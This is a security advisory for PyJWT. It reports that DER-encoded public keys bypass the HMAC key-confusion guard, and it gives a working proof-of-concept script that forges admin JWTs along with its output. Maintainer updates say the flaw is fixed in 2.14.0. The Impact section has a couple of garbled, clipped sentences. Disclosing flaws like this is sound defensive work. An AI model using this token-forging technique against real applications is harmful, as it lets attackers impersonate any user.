CVE-2026-102271: PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

### Summary `HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret. An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding. The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM. ### Details The guard is at `jwt/algorithms.py:331`: ```python if is_pem_format(key_bytes) or is_ssh_key(key_bytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." ) ``` Both helpers are text matchers. Neither one parses the key. - `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`. - `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes. A DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret. There is no DER handling anywhere in the package. `grep -rni "\bDER\b|load_der" jwt/ tests/` returns nothing. This affects three encodings that are all blocked in their PEM form today: - DER SubjectPublicKeyInfo - DER PKCS#1 - DER encoded X.509 certificate History of this guard: - Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH. - Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents. - DER has never been covered. Applications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key's own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path. Suggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected. ### PoC Tested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well. ```console pip install "pyjwt==2.13.0" cryptography python poc.py ``` No special configuration is needed. The script builds its own key. ```python import base64 import hashlib import hmac import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key() pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo) der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1) def b64(raw): return base64.urlsafe_b64encode(raw).rstrip(b"=") def forge(secret): # The attacker does not use PyJWT. They only need the public key bytes. head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) body = b64(json.dumps({"user": "admin", "role": "admin"}).encode()) signing_input = head + b"." + body sig = hmac.new(secret, signing_input, hashlib.sha256).digest() return (signing_input + b"." + b64(sig)).decode() # PEM form is rejected, as expected since CVE-2022-29217. try: jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"]) except jwt.exceptions.InvalidKeyError as exc: print("PEM rejected:", exc) # Same key, DER form. The forged token verifies. print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"])) print("DER PKCS#1 accepted:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"])) ``` Output: ``` PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s DER SPKI accepted: {'user': 'admin', 'role': 'admin'} DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'} ``` The token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes. We also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR. ### Impact Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217. Who is affected: applications that verify tokens with an asymmetric public key, also list an HS\* algorithm pass that public key to `jwt.decode` as DER bytes. What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first. What limits it: the application must already be in the mixed HS\* and RS\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected. > Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope. ## Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.